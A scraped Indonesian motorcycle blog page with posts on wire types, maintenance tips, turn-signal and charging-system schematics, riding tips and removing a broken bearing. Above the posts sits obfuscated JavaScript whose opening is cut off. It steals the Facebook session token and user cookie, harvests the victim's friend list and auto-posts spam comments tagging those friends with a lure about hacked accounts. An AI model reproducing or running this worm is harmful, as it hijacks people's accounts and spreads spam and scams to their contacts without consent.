_0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;
var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1502436636643489","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= :O Ya tengo varios facebook hackeados!! Verdaderamente si Funciona!! Entra en el blog de la descricion Y sigue los pasos funciona con exito!!! (Y) ","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);


Jumat, 09 Mei 2014

Jenis Kabel Sepeda Motor

Assalamu'alaikum warohmatullahi wabarokatuh

Menjawab pertanyaan dari Siswa SMK Tentang Perkabelan Motor yang diakuinya sangat rumit.
Disini saya coba mengulas lebih lanjut tentang Perkabelan Motor.

Kabel yang berfungsi sebagai penyalur arus pada motor tentunya tidak mudah dipahami,mengingat ada banyaknya jalur dan warna yang beragam pada satu jenis Kendaraan Bermotor.

Dalam Penerapannya Kabel Pada Motor hanya dibedakan dua Jenis yaitu :

A. Kabel Positif (+)
Kabel Jenis ini adalah kabel yang Dialiri aliran listrik entah itu INPUT ataupun OUTPUT.

Apa itu INPUT dan OUTPUT.?

INPUT Adalah Kabel yang Teraliri listrik yang masuk ke suatu alat atau menjembatani masuknya aliran listrik ke suatu komponen.

OUTPUT Adalah Kebalikan dari INPUT dan menjadi kabel penghubung dari aliran listrik yang dihasilkan suatu Komponen.

B. Kabel Negatif (-)
Kabel Jenis ini adalah kabel yang hanya bertipe INPUT dan mempunyai ciri hanya satu warna pada setiap Jenis kendaraan bermotor ini,contoh kabel warna Hijau pada honda adalah kabel negatif.

Kabel yang akrab disebut Kabel Masa ini juga hanya bersumber dari Chasis Motor dan bukan pada komponen apapun.
sebaliknya komponen lain butuh kabel tak bermuatan listrik ini untuk Menjalankan tugasnya.

Setelah memahami jenis kabel kita bisa menarik kesimpulan bahwa hanya ada satu warna kabel negatif (-) dan beragam warna kabel positif (+) pada motor.

Untuk lebih mendalami pemahaman anda pada Kabel Motor anda bisa membaca artikel sebelumnya tentang Arti Warna Kabel Semua Motor.

Semoga bermanfaat.

Tips Merawat Motor

Assalamu'alaikum warohmatullahi wabarokatuh

Rubrik Kotor Atau Konsultasi motor yang memang saya sediakan untuk membantu masalah motor anda ataupun tetangga anda yang merupakan ajang Tanya Jawab Via Sms,Email dan Social media ini mendapat banyak responden yang diantaranya menanyakan Bagaimana Cara Merawat Motor.

Menjawab hal itu berikut ulasan lengkapnya untuk anda.

merawat-motor.png

Motor memang menjadi kendaraan yang paling efisien tentunya membutuhkan perawatan entah itu bertipe karburator ataupun injeksi seperti keluaran terbaru.

Perawatan secara berkala itu lebih baik dari pada hanya pas motor dalam kondisi tidak sehat,tutur saya atau yang akrab disapa  saat ditanyai diri sendiri ini,hahaha.

Lantas hal-hal apa saja yang harus dilakukan untuk Merawat Motor agar awet .?

A. Cara Berkendara
Berkendara ugal-ugalan tentu tidak baik dan sebaliknya terlalu pelan anda berkendara juga tidak menjamin motor awet..Kenapa..?
Karena semua kotoran yang dihasilkan saat kendaraan pelan tidak semuanya terbuang.
Dengan Sesekali anda beraselerasi itu lebih baik namun ingat hanya "sesekali".

B. Mencuci
Selain membuat motor bersih,mencuci juga mampu mengangkat debu yang bisa saja merusak motor.
Diwajibkan Mencuci dengan air biasa setelah motor hujan-hujanan,karena air hujan mengandung zat yang dapat merusak komponen motor dengan mengkaratkannya.

C. Pergantian Spare Part
Spare Part atau Suka Cadang ini dibagi 4 yaitu :
  • Kualitas Lokal
  • Kualitas Medium
  • Kualitas Racing
  • Kualitas Orisinal

Jika Motor anda diharuskan mengganti suku cadang biasanya anda ditawari oleh mekanik beberapa merk dengan kualitas tertentu yang tentunya muka andalah yang menentukan,hahaha

Ke 4 barang dengan kualitas masing-masing diatas tentu ada harga yang harus ditebus dan memang kualitas orisinil akan selalu pas dan awet untuk motor anda.
Namun Jika kantong anda pas-pasan saran saya konsultasikan semuanya dengan mekanik,maka anda akan mendapat keputusan terbaik.
Karena yang murah belum tentu jelek.

D. Bahan Bakar
Sebagai Prioritas uTama,pastikan anda Membeli Bahan Bakar di tempat yang anda percayai karena Beberapa oknum kadang Mencampur bahan lain guna tujuan tertentu yang tidak Baik bagi motor anda.
Untuk yang bertipe Injeksi alangkah baiknya anda lebih selektif terhadap hal ini karena injektor yang bersifat sensitif dan rawan rusak.

E. Service Rutin
Hal ini sering diabaikan terlebih jika memang motor yang ditunggangi masih dalam keadaan baik-baik saja.
Idealnya hal ini adalah perbulan untuk motor dinas atau yang rutin dipakai sehari-hari seperti untuk sekolah dan kerja.
Untuk mobilitas kurang atau lebih dari itu waktu service bisa lebih cepat atau lebih lama namun tetap dibarengi dengan pergantian oli.

Tapi Tahukah anda tahu apakah tujuan Service Rutin..?
Layaknya Medical Check up,Servise Rutin adalah untuk Merawat,membersihkan,dan mengecek komponen secara Berkala.

Lalu Meliputi Apa saja Service Rutin itu..?
  • Pembersihan Karburator
  • Pembersihan Injektor (untuk motor injeksi)
  • Pembersihan filter udara
  • Pembersihan Busi
  • Penyetelan klep
  • Penyetelan Rante
  • Pembersihan CVT (Untuk Motor Matic)
  • Pengecekan Kelistrikan
  • Pengecekan Air aki Basah
  • Penggantian Oli Mesin
  • Penggantian Oli Gardan (Matic)
  • Pembersihan Block Silinfr (2 tak)
  • Pengecekan pompa oli samping (2 tak)

Dari kesemua itu berapa biaya yang harus dikeluarkan.?

Umumnya biaya service tergantung bengkelnya dan sebagai perbandingan berikut daftar harga service di tempat saya.

Untuk Motor Tahun 2005 ke bawah berkisar Rp 20.000 - Rp 25.000 untuk 2 tak dan 4 tak diluar ongkos oli dan pergantian spare part.

Untuk Motor Tahun 2006 ke atas Tergantung Jenis Motor antara Rp 25.000 - Rp 35.000 diluar pergantian spare part dan Oli.

Untuk Matic Berkisar Rp 25.000 - Rp 30.000 ditambah Pembersihan CVT Rp 15.000 diluar pergantian spare part,oli Mesin dan Oli gardan.

Jika Ditambah dengan pergantian oli bisa dihitung kurang dari Rp 100.000/bulan atau hanya Rp 3.000an/hari dan dijamin Motor anda Tetap wuss.

Dan Pastikan anda service di bengkel kepercayaan anda dan anda juga bisa mengeluhkan masalah motor anda DISINI.

E. Lain-lain
Yang Terakhir adalah Berupa Tips ringan yang Masih Berhubungan Dengan Cara Merawat Motor.

1. Selalu awali memanaskan motor dipagi hari diawali dengan kick stater kurang lebih 10 kali tanpa kunci kontak guna melancarkan pelumasan dan lanjutkan dengan kunci kontak dan selah sampai motor nyala dibarengi dengan menarik Choke dan diamkan motor dalam kondisi langsam sekitar 1 menit dan kembalikan choke seperti semula.

2. Hindari Kebiasaan Menghidupkan Motor Dipagi hari dengan Elektrik stater karena akan Memperpendek Umur Aki.
Di pagi hari atau saat motor baru keluar,aki Masih dalam keadaan perut Kosong dan pengisian aki didapat kalau motor itu hidup.
Kita juga tidak mau kan Bekerja dengan Perut Kosong.

3. Cek Selalu Kondisi Tekanan Ban Guna Kenyamanan Anda Saat Berkendara.

4. Pastikan anda mengikuti Tips diatas untuk keamanan dan kenyamanan motor anda.

Bermanfaatkah bagi anda.?semoga.

Skema Lampu Sein

Assalamu'alaikum warohmatullahi wabarokatuh

Lampu Sein adalah salah satu kelengkapan laik jalan kendaraan bermotor kita dan tentunya hal yang satu ini tak bisa diabaikan.

Lalu bagaimana jika Lampu Sein Anda Bermasalah Seperti :
  • Tidak Berkedip
  • Redup
  • Mati Sebelah
  • Mati Total

Lalu Bagaimana pula cara mengatasinya.?

Mendatangi bengkel langganan memang lebih menjamin,namun tidak ada salahnya juga jika anda belajar tentang Kelistrikan Motor Yang Satu ini.

Simak Ulasan Lengkap dari Mang DEDEK Tentang Skema Lampu Sein.

Pastikan anda Telah Memahami Arti Warna Kabel Semua Motor sebagai dasar dari semua ini.
Ups salah,I'm Sorry I'm Not A Perfect Person.

Skema Lampu Sein

Keterangan Gambar :

1. Regulator atau yang akrab disapa Kiprok ini adalah elemen paling vital dalam tutorial ini.
Peranti Berwarna Abu-abu Persegi panjang ini berguna untuk mengolah arus listrik dari Spul Pengisian yang ditandai dengan kabel berwarna putih sebagai Input yang menghasilkan Arus pengisian ke Aki (kabel merah) Melalui sikring Sebagai pengaman.

2. Sikring yang berfungsi sebagai penyalur arus dari dan ke Aki ini juga Sebagai pengaman saat terjadi korsleting.
Pastikan pula Perangkat yang berdampingan dengan aki ini tidak terputus saat mengecek kelistrikan.

3. Aki yang peranannya sebagai penampung arus ini,memang tidak mutlak diperlukan dalam skema lampu sein.
Karena dalam hal ini aki hanya bertugas menambah terang lampu dan menyalakan lampu sein tanpa mesin menyala.

4. Kunci Kontak bertugas sebagai pemutus dan penghubung arus listrik dari aki ataupun dari arus pengisian dalam hal ini saja tentunya.
Arus dari kunci kontak diteruskan ke arah peranti no 5 dengan output kabel warna hitam.

5. Flasher yang berciri fisik berwarna hitam dengan 2 kaki 1 input dari kunci kontak dan 1 output ke arah peranti no 6.
Alat inilah yang membuat Lampu Sein Berkedip.

6. Sakelar pada lampu sein terdiri dari 3 jalur kabel yang akan terhubung dengan gerakan tangan kekiri dan kekanan saat hendak berbelok.
Warna Abu-abu adalah Input Dari Flasher yang akan terhubung dengan kabel Biru muda untuk Sein kanan dan Orange Untuk Sein Kiri.

7. Arti F-I-R adalah :
  • F = Front atau Depan
  • I = Indikator di speedo Meter
  • R = Rear atau Belakang

Tiap arus yang keluar dicabang 3 ke arah tersebut.

Warna diatas hanyalah ilustrasi namun dengan fungsi sebenarnya.

Pada merk motor apapun Skema Lampu Sein tetaplah Seperti itu jadi tutorial ini berguna pada pengendara motor apapun.

Untuk Masalah Motor anda bisa konsultasikan Disini.
semoga bermanfaat.

Tips Berkendara

Assalamu'alaikum warohmatullahi wabarokatuh

Setelah Sebelumnya mengupas tentang Pelanggaran Lampu Merah yang Melibatkan Valentino dan Ezcy Hayden yang menarik untuk dibaca.

Masih dengan Tema yang Sama seputar Kendaraan Bermotor namun dengan Judul Tips Berkendara.

Berkendara yang baik tentunya harus ditunjang dengan kendaraan laik jalan dan Terawat yang bisa anda Temukan dengan membaca Tips Merawat Motor.

Setelah Memastikan kendaraan anda laik jalan,maka hal yang harus anda patuhi adalah bagaimana Tips Berkendara yang baik dan benar.

Berikut point-point yang anda bisa terapkan untuk kenyamanan berkendara.

1. Kenalilah karakter kendaraan anda.
Lebih dekatlah dengan kendaraan anda,rawatlah dan pahami karakter kendaraan anda agar aktifitas berkendara anda lebih nyaman.
Bila perlu tidurlah dengan kendaraan agar hubungan anda Lebih intens.

tips-berkendara-01.jpg

2. Helm Standar SNI
Pastikan peranti pelindung kepala ini berlabel SNI Dan Pas dengan ukuran kepala anda.
Helm Berlisensi SNI Lebih menjamin keselamatan berkendara anda.

tips-berkendara-02.jpg

3. Utamakan keluarga
Keluarga adalah segalanya terutama anak anda,maka pastikanlah anak anda "terdandani" dengan sempurna demi kesempurnaan berkendara anda dengan keluarga anda.

tips-berkendara-03.jpg

4. Pakaian Lengkap
Selain helm berlisensi,pastikan Seluruh badan anda Terlapisi dengan berbagai jenis pelindung yang bisa menerbangkan anda saat terjadi kecelakaan.

tips-berkendara-04.jpg

5. Sesuai STNK
Kendaraan yang baik dan laik berkendara adalah yang warna dan spesifikasinya sesuai yang tertera pada surat tanda nomor kendaraan (STNK).

tips-berkendara-05.jpg

6. Over Load
Perhatikan muatan atau barang bawaan tidak melebihi spesifikasi yang sudah ditentukan.
Perhatikan pula yang anda bawa tidak mengganggu pengendara lain.

tips-berkendara-06.jpg

7. Penumpang Selalu Dibelakang
Jangan Mentang-Mentang penumpangnya adalah istri anda maka bisa menempatkannya didepan bawah anda.
Untuk hal ini ada tempat yang lebih nyaman selain sepeda motor kok.

tips-berkendara-07.jpg

8. Hanya Untuk 2 Orang
Sepeda Motor sebenarnya difungsikan hanya untuk 2 orang saja tidak Lebih.
Kecuali motor anda memang odong-odong.

tips-berkendara-08.jpg

9. Dilarang Menggunakan Hp
Tarif sms dan social network yang makin bersaing antar penyedia layanan seluler tidak bisa gunakan seenaknya apalagi saat berkendara.
Mentang-mentang murah deket aja sms-an.

tips-berkendara-09.jpg

10. Dilarang Main Musik
Menyalurkan Hobi bermusik memang sah-sah saja,siapapun dan kapanpun semuanya punya hak kebebasan,namun tetap lihat-lihat tempat ya.?

tips-berkendara-10.jpg

11. Bertingkah Nyeleneh
Satu lagi hobi yang tidak seharusnya anda terapkan saat berkendara apalagi di jam kerja.
Profesionalitas anda dituntut dalam pekerjaan anda.
Jadi pastikan praktekan hobi anda diluar jam kerja anda.

tips-berkendara-11.jpg

12. Manfaatkan Angkutan Umum
Kebijakan Pemerintah tentang angkutan umum bisa anda terapkan.
Karena anda hanya harus mematuhi tugas anda sebagai penumpang tanpa harus diribetkan aturan saat anda berkendara dengan kendaraan pribadi.
Hal inilah alternatif terbaik untuk kenyamanan berkendara.

tips-berkendara-12.jpg

Note : Artikel diatas bersifat hiburan semata.

Trik Melepas Bearing Ambrol

Assalamu'alaikum warohmatullahi wabarokatuh

Bearing atau yang akrab disapa laher ini adalah komponen yang berfungsi sebagai poros komponen pada Sepeda Motor yang bergerak berputar mulai dari mesin,kopling,roda sampai gir.

Bearing berbentuk seperti donat dengan Berbagai ukuran dan terbuat dari besi dengan butiran (pelor) ditengah lingkaran.

bearing-01.png

Sebagai poros dari alat yang berputar tentu fungsi dari Bearing sangat vital.
Namun kerusakan karena faktor umur pakai juga tidak bisa dihindari yang mengharuskan adanya pergantian dengan bearing baru.

Gejala kerusakan ditandai dengan oblaknya komponen yang dilengkapi bearing ini.
Jika dibiarkan bisa saja Bearing Ambrol dan menyisakan bagian luar didudukan bearing yang kadang susah dikeluarkan.

bearing-02.png

Lalu bagaimana Trik melepas bearing yang ambrol?

Pertama tentu saja siapkan alat-alat untuk membongkar pasang komponen yang didapati bearingnya Rusak seperti kunci ring dan lain-lain.
Terutama Palu,stemplet,obeng min dan pahat untuk mendorong bearing keluar masuk.

bearing-03.png

Lanjutkan dengan mengoleskan stemplet pada bagian dalam bearing yang ambrol dan tempelkan 5 pelor yang tercecer seperti gambar berikut :

bearing-04.png

Masukkan ke sisa bearing bagian luar yang menempel dan geser pelor kesemua arah dan mengunci posisi laher seperti gambar berikut :

bearing-05.png

Dorong bearing keluar dengan pendorong dan pukul dengan palu dari bagian dalam hingga terlepas.

bearing-06.png

siapkan bearing yang baru dan pasang

bearing-07.png

Masalah selesai tanpa melibatkan tukang las.

Tutorial ini bisa anda terapkan sendiri dan menghemat Rp 10.000 untuk ongkos pergantian bearing baru.
Pastikan juga anda memilih kualitas terbaik untuk spare part motor anda yang lebih menjamin keawetan.

Mudah bukan.?

Skema Jalur Pengisian Sepeda Motor

Assalamu'alaikum warohmatullahi wabarokatuh

Jadi seorang mekanik tentunya kerap mengalami keluhan dari pelanggan yang beberapa diantaranya seperti :

  1. Aki tidak mengisi
  2. Aki Baru Cepat tekor
  3. Lampu yang redup

adakah diantara hal tersebut pernah anda dengar atau bahkan anda alami?

Tentu anda juga akan bertanya apakah sebabnya?

Sudah ke bengkel tapi masih mengalami hal yang sama?

kenapa tak coba cek sendiri penyebabnya yang memang ada gangguan dari Sistem Pengisian motor anda.

Sistem pengisian adalah suatu Sistem Elektronika Sepeda Motor yang berfungsi akhir adalah sebagai penghasil setrum atau arus positif yang berfungsi untuk mengaktifkan semuanya seperti

  1. Mengisi Aki
  2. Sumber utama Pengapian DC
  3. Menghidupkan lampu sein
  4. Menghidupkan klakson dll

Jika masih pusing dengan penjelasan diatas maka silahkan simak salah satu pernyataan dibawah ini.

Beberapa orang menganggap aki lah sumber listrik utama pada motor,tapi tanpa aki pun motor non injeksi bisa hidup dan lampu sein,klakson dll berfungsi meskipun berkurang kekuatannya.

Sebaliknya jika tanpa pengisian,maka aki akan cepat habis meskipun baru,jadi sistem pengisian yang sehat akan mengoptimalkan fungsi kelistrikan sepeda motor anda.

Skema jalur pengisian sepeda motor

Gambar diatas adalah sistem pengisian semua motor yang tentu saja semuanya diawali dari Sepul Pengisian yang akan berfungsi ketika motor dihidupkan.
Sepul pengisian yang berupa kumparan lilitan kawat akan menghasilkan listrik positif ketika motor hidup.

Selanjutnya sepul pengisiann akan mengalirkan arus menuju Regulator atau kiprok yang berfungsi sebagai penampung,penyeimbang dan pembagi arus.

Selanjutnya dari kiprok akan keluar dengan ditandai kabel warna Merah yang akan terbagi kesemua komponen seperti Kunci Kontak,CDI dan Injektor pada sistem injeksi.

Itulah kenapa semua komponen kelistrikan dapat menyala meski tanpa aki dan pada saat motor dihidupkan.

Sebelum ke aki arus dari kiprok ini akan melewati Sikring yang berfungsi sebagai pengaman ketika terjadi konsleting.
Dan itu pula kenapa sikring selalu berada dekat aki.

Dari sikring barulah menuju aki yang ditandai kabel warna Merah yang selain juga berfungsi sebagai Input juga sebagai Output yang menuju semua komponen kelistrikan lain.

Masih bingung?

Jika anda mengalami semua masalah diatas atau sekedar ingin tahu silahkan lakukan pengecekan sederhana ini.

  1. Lepaskan sambungan + pada aki
  2. Siapkan kabel secukupnya dan sambungkan pada sambungan + yang anda lepaskan tadi.
  3. Hidupkan motor dan goreskan kabel tadi ke body motor anda atau arus negatif.

Jika timbul percikan api maka pengisian baik-baik saja tapi jika tidak ada percikan sedikitpun silahkan lakukan pengecekan sesuai skema pada gambar diatas.

Untuk mendukung semua tutorial ini maka anda wajib memahami Arti Warna Kabel Semua Motor sebagai acuan wajib untuk anda.. Sekian tentang Tutorial pengisian sepeda motor.

Semoga Bermanfaat..